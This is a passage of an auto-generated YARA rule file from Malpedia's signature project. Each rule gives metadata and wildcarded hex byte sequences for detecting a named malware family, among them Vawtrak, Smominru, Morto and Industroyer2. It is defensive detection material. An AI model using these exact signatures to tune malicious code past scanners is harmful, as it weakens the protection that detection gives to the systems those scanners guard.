		$sequence_3 = { 8bc8 6a01 ff12 8d4d98 e8???????? 0f57c0 c745e800000000 }
		$sequence_4 = { b801000000 eb40 83ec08 c6462401 50 e8???????? 8945d0 }
		$sequence_5 = { 5e 5b 8be5 5d c20400 8b470c 33f6 }
		$sequence_6 = { 3c0a 7409 6a0a 8bce e8???????? 837f3c10 8d4728 }
		$sequence_7 = { b001 c6460401 e9???????? 8b01 ff5018 83f8ff 7405 }
		$sequence_8 = { e8???????? 0fb7ff eb16 0fb77c2410 8d4c2414 e8???????? 0fb7ff }
		$sequence_9 = { 8bcf e8???????? 8bc8 e8???????? 8bc8 e8???????? 83ec18 }
	condition:
		7 of them and filesize < 1482752
}

rule MALPEDIA_Elf_Persirai_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "71dd969e-17c7-51f6-8baa-f5813c4b7618"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.persirai_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "8b3f4b08e462bfefa6597fd60f192d2977efdf6597eab8ae390529732ac3b197"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d680c 8b400c 83e0fe 85c0 75e6 }
		$sequence_1 = { 51 e8???????? 8d5c2424 89f1 89df 89e8 fc }
		$sequence_2 = { 7423 0fbed0 a1???????? 8854243b 85c0 0f84f9000000 8810 }
		$sequence_3 = { 52 8b5020 53 50 ff5208 83c410 }
		$sequence_4 = { 6648 759f 53 53 57 8d44244c 50 }
		$sequence_5 = { 56 53 83ec0c 89c7 be???????? }
		$sequence_6 = { 89d0 5a 59 5b c3 8b442404 8b542408 }
		$sequence_7 = { eb0c 89c2 8b02 39c1 75f8 8b01 8902 }
		$sequence_8 = { e8???????? 89c3 8bb098000000 85f6 751c 50 50 }
		$sequence_9 = { 84c0 742a 8d7600 46 3c25 742b 0fbed0 }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Vawtrak_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce9fb6b0-3a67-57cc-b4c0-309ef9ca9f22"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vawtrak_auto.yar#L1-L207"
		license_url = "N/A"
		logic_hash = "0909b4692ca0a0193737f7d7a0d93f3e3c94141796cfc88c3ca14d523aa0a3d1"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a01 ff35???????? 6a04 6a01 }
		$sequence_1 = { 6a04 6a01 50 ff15???????? 85c0 }
		$sequence_2 = { 6a00 6a00 e8???????? 50 ff15???????? }
		$sequence_3 = { 85c0 7415 ff15???????? 50 ff15???????? 6aff }
		$sequence_4 = { ba00ff0000 8bc1 23c2 3bc2 }
		$sequence_5 = { 69d26d4ec641 81c239300000 2ac2 8801 }
		$sequence_6 = { e8???????? eb09 a804 7405 e8???????? 803d????????00 }
		$sequence_7 = { 6a08 68???????? 56 ffd7 85c0 }
		$sequence_8 = { ff15???????? a3???????? 85c0 74e7 }
		$sequence_9 = { 7528 68???????? ff15???????? 85c0 7504 33c0 }
		$sequence_10 = { 59 57 8bf0 ff15???????? 8bc6 }
		$sequence_11 = { e8???????? 33d2 b9ff3f0000 f7f1 }
		$sequence_12 = { 8bc6 8703 3bc6 74f8 }
		$sequence_13 = { 8d429f 3c0f 7705 80ea61 eb0a 8d42bf 3c0f }
		$sequence_14 = { ff7510 ff750c ff7508 e8???????? 83c40c 8d45fc 50 }
		$sequence_15 = { c1e910 e9???????? 8ac1 c1e904 c0e004 }
		$sequence_16 = { 8ac8 240f 80e1f0 80c110 }
		$sequence_17 = { 3c41 7c11 3c46 7f0d }
		$sequence_18 = { 03ea 03ff 03db 4883fe1e }
		$sequence_19 = { 4533c0 488bd6 488bcd 48897c2428 4889442420 ff15???????? }
		$sequence_20 = { 400f95c7 4533c9 4533c0 ff15???????? }
		$sequence_21 = { 488364242000 4c8d442430 4533c9 33d2 }
	condition:
		7 of them and filesize < 1027072
}

rule MALPEDIA_Win_Tflower_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c8b749a8-7605-5cc7-b1f5-9714e975ddf7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tflower_auto.yar#L1-L157"
		license_url = "N/A"
		logic_hash = "b74bf6ff044f2b1de7c6b08182f1378f15e5cf0c006209455268705fb05e00e4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0001 0200 0103 0303 }
		$sequence_1 = { 000f 7708 0001 7708 }
		$sequence_2 = { 0002 7408 00f7 7308 }
		$sequence_3 = { 89442414 8b06 83f804 0f8728010000 ff2485249d4a00 6a02 6a01 }
		$sequence_4 = { 001a 0c05 003c0c 05004e0c05 }
		$sequence_5 = { 8b148dc0064f00 331485c0024f00 8bc3 c1e808 }
		$sequence_6 = { 83fa07 8b542410 775e 8b6c2414 ff24ad9ce34600 0fb679ff }
		$sequence_7 = { 000b 8605???????? 007885 0500788605 }
		$sequence_8 = { 33148520c54e00 33f2 2bde d3c3 8bc3 }
		$sequence_9 = { 0010 740b 0021 740b }
		$sequence_10 = { c745e0787f4b00 e9???????? c745e0647f4b00 e9???????? c745dc02000000 }
		$sequence_11 = { 0001 7708 00f3 7608 }
		$sequence_12 = { 0008 7408 0002 7408 }
		$sequence_13 = { c1e818 8b4d2c c1eb10 03148520c14e00 0fb6c3 8b5d28 }
		$sequence_14 = { 0fb6c0 8b0c8d20ed4e00 330c8520f14e00 8bc3 c1e818 c1eb10 }
		$sequence_15 = { 0fbec0 8d89f8feffff 8d0c48 3b0c95788f4f00 }
	condition:
		7 of them and filesize < 6578176
}

rule MALPEDIA_Win_Plurox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "00819bcc-51e2-53a8-9308-9b7887ed6069"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plurox_auto.yar#L1-L112"
		license_url = "N/A"
		logic_hash = "fa579257df25509063a4df447932e0b25e6ea4c45a2af23b4dfc95998427a19a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0416 128bc606091a f6870f1a000000 e10d 21c9 8918 }
		$sequence_1 = { 0a20 0816 ec bbf2000000 }
		$sequence_2 = { 300f 353e0fee3c 031e 2200 }
		$sequence_3 = { 624a8b 0416 128bc606091a f6870f1a000000 e10d 21c9 }
		$sequence_4 = { 94 f8 21480e 2a15???????? 6f }
		$sequence_5 = { 6808486409 58 0000 00e4 0487 58 }
		$sequence_6 = { 0925???????? 0000 c48dcd713240 89f5 }
		$sequence_7 = { 0416 128bc606091a f6870f1a000000 e10d }
		$sequence_8 = { 0442 6808486409 58 0000 }
		$sequence_9 = { 0d04b8ca08 6af3 dac9 0000 00ee }
	condition:
		7 of them and filesize < 475136
}

rule MALPEDIA_Win_Smominru_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ba1df8df-398d-5a15-b32f-32308ade7ab2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smominru"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smominru_auto.yar#L1-L160"
		license_url = "N/A"
		logic_hash = "0db1d77f56494f7e7d1098f916a45decdc9bada94ceb297ac850baf6e6d6e3b1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 894634 8b4718 894638 8b471c 89463c 8b4720 894640 }
		$sequence_1 = { 8b5604 0fa5d0 8907 83c604 }
		$sequence_2 = { 8b55fc ff5704 837b0c08 7549 }
		$sequence_3 = { 8d6c2400 6aff 68b0f3e877 ff7508 }
		$sequence_4 = { c9 c20c00 57 5f 55 54 }
		$sequence_5 = { 8b55fc f76a14 c1e002 50 8b45fc }
		$sequence_6 = { 8b5604 81e2ffffff7f 03c2 8bd0 }
		$sequence_7 = { 8b5604 81ca00000002 33c9 8a8b15020000 }
		$sequence_8 = { e8???????? 33c0 894704 894708 89470c 894710 894714 }
		$sequence_9 = { ff15???????? 85c0 0f8c5f37ac7b 33c0 40 }
		$sequence_10 = { 8b5604 59 e8???????? 85c0 }
		$sequence_11 = { 8b5604 3bfa 7372 8b1e }
		$sequence_12 = { 8b55fc ff560c 8b450c ff00 }
		$sequence_13 = { 8bc6 5e c9 c20800 8d7f00 55 }
		$sequence_14 = { 5f 55 8d6c2400 8b450c }
		$sequence_15 = { 8975e0 8975dc 8975c0 8975c8 39750c 0f841948ab7b }
	condition:
		7 of them and filesize < 8167424
}

rule MALPEDIA_Win_Chinotto_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "35bb4fea-9679-5e3a-b2bd-3a05c48c1c83"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chinotto_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "4531bba6bf5c08578cccf53130069c66edf41ca25754f112d734535821ebc612"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4df0 897df4 895de4 8955f8 85c9 0f853dffffff e9???????? }
		$sequence_1 = { 57 33f6 bf???????? 833cf5a4e6410001 751d 8d04f5a0e64100 8938 }
		$sequence_2 = { 8985a8f6ffff 8d95b4f6ffff 52 8d85c4f6ffff 50 c785a0f6ffff0c000000 }
		$sequence_3 = { c3 8b4d08 8b5648 8b45f4 c74638c0444000 897644 897a3c }
		$sequence_4 = { 5d c3 8b4de0 8b55d8 8b45ec c1e106 034ddc }
		$sequence_5 = { 8bd0 8955d8 eb03 8955d8 }
		$sequence_6 = { 50 ff15???????? 8b853cf7ffff 03c3 50 e8???????? 8b8d38f7ffff }
		$sequence_7 = { b969000000 66894de2 b96f000000 66894de4 b96e000000 66894de6 b93d000000 }
		$sequence_8 = { 8b5628 6a58 6a01 51 }
		$sequence_9 = { 6683f919 7725 8d4805 83f97a 7e08 83c0eb 0fb7c0 }
	condition:
		7 of them and filesize < 300032
}

rule MALPEDIA_Win_Unidentified_073_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0ba61f73-e46a-5f54-853f-f1f3b502ee26"
		date = "2022-08-05"
		modified = "2022-08-08"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_073"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_073_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "8100472ca712d569bbcdb570af72e3f13986092b4d8ee8e3873da55bef76232d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20220805"
		malpedia_hash = "6ec06c64bcfdbeda64eff021c766b4ce34542b71"
		malpedia_version = "20220808"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d8538ffffff 6a00 c746180f000000 8bce }
		$sequence_1 = { c684242801000019 e8???????? 68???????? 8d8c24c0000000 e8???????? 6aff }
		$sequence_2 = { 8bce c7461400000000 50 c6460400 e8???????? 83ec1c 8bf4 }
		$sequence_3 = { 7846 8b451c 8b0e 2bc1 3bc3 7c53 }
		$sequence_4 = { 8b0d???????? 894df8 eb09 8b55f8 83ea01 8955f8 837df800 }
		$sequence_5 = { 6a00 8d8424dc000000 50 8d4c2454 e8???????? 83ec1c 8d84240c010000 }
		$sequence_6 = { 8bec 51 894dfc c705????????90664a00 833d????????00 741c }
		$sequence_7 = { 6bd103 8982a0784a00 68???????? 8b45fc 50 ff15???????? }
		$sequence_8 = { 0fb74df8 894de0 668b55e0 668955f8 0fb745fc 0fb74df8 3bc1 }
		$sequence_9 = { 57 6aff 68???????? 50 ff15???????? }
	condition:
		7 of them and filesize < 1974272
}

rule MALPEDIA_Win_Morto_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8b5b99ce-9055-5caf-9153-d6b5f44f1d51"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.morto"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.morto_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "3f690f88537e995c1dc2e4101db7568f5b1a20d460c6735cbb429d69f53136bf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 e8???????? 59 8d8594fdffff 59 56 50 }
		$sequence_1 = { 8bf9 760c 8a4d10 280c30 40 3b450c }
		$sequence_2 = { 0f859f020000 53 57 8ac0 33db ba25537973 }
		$sequence_3 = { ff55ec 53 6a04 ff55e4 6a01 }
		$sequence_4 = { 6a01 68???????? ff35???????? a3???????? e8???????? 83c438 }
		$sequence_5 = { 3bc3 59 0f843e010000 8d4dbc 51 50 }
		$sequence_6 = { c20c00 b8???????? e8???????? 81ec38020000 53 56 57 }
		$sequence_7 = { 50 6a00 ff15???????? 85c0 894704 742a 83c005 }
		$sequence_8 = { b9???????? e9???????? 55 8bec b86c260300 }
		$sequence_9 = { 8b450c 68???????? c745f44d61696e c745f854687265 ff30 c745fc61640000 ff15???????? }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Industroyer2_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5e868bea-ed7e-5974-96ba-660ba0f6c883"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.industroyer2_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "af4403ef973a2e44095a1be12f63d921343b5d2fe519fbae198aa69e0c4340cd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4dfc 8b11 c6420603 8b45fc 8b08 c6410783 8b55fc }
		$sequence_1 = { ebcc 8b4508 8b8848010100 8b55f4 }
		$sequence_2 = { 894a0c 8b55f8 8b02 8b4d20 8b5108 895008 8b45f8 }
		$sequence_3 = { 8b4508 8945fc 8b4d0c 894df8 837d0800 7414 }
		$sequence_4 = { e8???????? 83c404 85c0 7636 68???????? 8b4508 }
		$sequence_5 = { 52 e8???????? 8b4508 83780800 }
		$sequence_6 = { 694d18a0860100 034d1c 8b55fc 894a14 8b45fc 8be5 }
		$sequence_7 = { 50 e8???????? 8b4dec 894110 8b55fc 83c201 8955fc }
		$sequence_8 = { a1???????? 8945e0 8b0d???????? 894de4 8a15???????? 8855e8 8d45d8 }
		$sequence_9 = { e9???????? 68???????? e8???????? 50 e8???????? 83c408 6a08 }
	condition:
		7 of them and filesize < 100352
}

rule MALPEDIA_Win_Rugmi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "56dfd636-865d-5e6b-99e2-82ed18d11802"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rugmi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rugmi_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "6414237b4a37eccf99db6de8d88a3ab9402e6945fd1a3f91716e86d56c16f3fa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33db 395d08 0f94c3 8b4518 8b4d08 8908 8bc3 }
		$sequence_1 = { 8b7704 eb14 85c0 0f8535010000 56 57 e8???????? }
		$sequence_2 = { 3bcb 726f 8b7514 8b5d10 8bc1 0bc2 7508 }
		$sequence_3 = { 7507 b8074c0000 c9 c3 8d45e0 50 68???????? }
		$sequence_4 = { 894d08 8d56bc 0f45fa 68???????? 03f9 e8???????? 8b7510 }
		$sequence_5 = { 5d c3 837d08ff 0f84b4090000 e9???????? 55 8bec }
		$sequence_6 = { 395e3c 7520 85ff 0f841c010000 6a0a 68???????? }
		$sequence_7 = { 88834d020000 8b84b350010000 83f8ff 7413 50 53 57 }
		$sequence_8 = { 8955e4 c645fc00 8d4dcc e8???????? c745fcffffffff 8d8d70ffffff }
		$sequence_9 = { 56 c687cf0c000000 68???????? e9???????? 6a02 59 6a17 }
	condition:
		7 of them and filesize < 950272
}

rule MALPEDIA_Win_Supper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "15a5fdcc-983f-545a-acdb-1425e0080fb1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.supper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.supper_auto.yar#L1-L164"
		license_url = "N/A"
		logic_hash = "609470a8924c4445e40bf6082d5cbc00c8d1a1556bb0036cf2444493aad439fc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { baffffffff 89cb 488b0d???????? ff15???????? }
		$sequence_1 = { 74ed 8844242f e8???????? 0fb644242f 48c705????????00000000 4883c438 }
		$sequence_2 = { 488905???????? e8???????? 84c0 7407 4883c438 5b }
		$sequence_3 = { 488905???????? ffd6 48891d???????? 488905???????? }
		$sequence_4 = { 4889cb 31c9 ffd6 4531c0 31d2 31c9 }
		$sequence_5 = { 488905???????? 31c0 4883c428 5b 5e c3 }
		$sequence_6 = { ba01000000 4c8b25???????? 41ffd4 85c0 }
		$sequence_7 = { 4531c0 488b4b08 ba01000000 41ffd4 85c0 }
		$sequence_8 = { e8???????? 488b4510 488b00 4885c0 }
		$sequence_9 = { 0fb700 0fb7d0 488b85c0000000 4883c004 4189d0 }
		$sequence_10 = { 66894510 c645ff00 488b05???????? baffffffff }
		$sequence_11 = { 4883bdc000000000 750a b800000000 e9???????? 488b85c0000000 }
		$sequence_12 = { ba04000000 4889c1 e8???????? 488b85e0000000 }
		$sequence_13 = { 4889c1 e8???????? 8b45dc 89c0 4889c1 e8???????? }
		$sequence_14 = { c744242004000000 4989d1 41b801000000 ba06000000 4889c1 e8???????? }
		$sequence_15 = { c3 55 4881ec50010000 488dac2480000000 48898de0000000 488b85e0000000 0fb7400c }
	condition:
		7 of them and filesize < 517120
}

rule MALPEDIA_Win_Sneepy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c029590c-a1be-50f8-80cf-c12927fcf1f6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sneepy_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "978ba91f40e008ec1e688527edb2f9c28d926adc71b28f1ad0432cb8831f1c4c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 c3 8bff 55 8bec b8e41a0000 e8???????? }
		$sequence_1 = { 6888130000 ffd6 68???????? c705????????e8d44000 e8???????? 83c404 }
		$sequence_2 = { 8b4dfc 33c0 83ff01 5b 0f94c0 }
		$sequence_3 = { c1fa05 8b149560314100 59 c1e006 59 8a4dff 80c901 }
		$sequence_4 = { 52 8945dc c745c801000000 8975cc }
		$sequence_5 = { 89b5c0feffff 46 83fe07 7cdf }
		$sequence_6 = { 85c0 7459 81bdb0feffffc8000000 7526 8b3d???????? 8d8dc0feffff 51 }
		$sequence_7 = { e8???????? 8bc6 c1f805 8b048560314100 }
		$sequence_8 = { 83e103 f3a4 8d8df0feffff 68???????? 51 e8???????? }
		$sequence_9 = { 33c0 8945e4 83f805 7d10 668b4c4310 66890c4514314100 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Romeos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "57e36ea9-25df-5535-9507-4e3e8861391a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.romeos_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "b103a70d5f0d023abb4fa14da56c910d4eba9e43552b97af05cf92b055758e46"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5e 5d 5b 81c438200000 c20400 5f 5e }
		$sequence_1 = { 83c408 807c24480e 7406 43 83fb08 7cb6 e8???????? }
		$sequence_2 = { 85c0 0f85ef000000 85db 751d 807c244802 0f85e0000000 }
		$sequence_3 = { 50 bd30000000 e8???????? 8bbc2454200000 }
		$sequence_4 = { 83c408 807c24480e 7406 43 }
		$sequence_5 = { 7406 43 83fb08 7cb6 e8???????? 99 }
		$sequence_6 = { 6a16 8d4c244c 6800200000 51 }
		$sequence_7 = { 81c438200000 c20400 5f 5e }
		$sequence_8 = { 8bf1 57 b9ff070000 33c0 8d7c2449 c644244800 6a16 }
		$sequence_9 = { 0f850d010000 33db 6a16 8d4c244c 6800200000 }
	condition:
		7 of them and filesize < 294912
}

rule MALPEDIA_Win_Stormwind_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5af12011-3b11-5340-9f55-c2d59a09e295"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stormwind_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "0edc5101ea908b3c6d0ede012ca9b7d0ba4e1d8697013b724d36791523c87635"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb87 85db 7483 8b7d08 8d7308 }
		$sequence_1 = { 83663800 83630800 e8???????? e8???????? c3 833d????????00 746e }
		$sequence_2 = { eb5c 8b45f4 8b0c85d8310510 f644190448 7437 8a06 }
		$sequence_3 = { 8908 8d5602 8d4d0c e8???????? 8d4df0 83c404 }
		$sequence_4 = { 8b06 83c41c 8bc8 8d7901 }
		$sequence_5 = { e9???????? c745dca43e0410 8b4508 8b7510 dd00 dc4df8 }
		$sequence_6 = { 8b7510 85f6 0f847f010000 8b5e14 85db 0f8874010000 }
		$sequence_7 = { 53 e8???????? 8bf0 83c404 8975e8 6a00 6a00 }
		$sequence_8 = { 751b 8b450c 891f 8918 8bc7 8b4df4 }
		$sequence_9 = { 8bf8 59 83ffff 7407 8b34bd286c0410 56 e8???????? }
	condition:
		7 of them and filesize < 741376
}

rule MALPEDIA_Win_Andardoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "36610ce1-8689-5760-8490-3c048dd08128"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andardoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.andardoor_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "77bea7a2d8aed8c22ef97e06e53b736b63004170333d5461958719ea43d8bb7c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
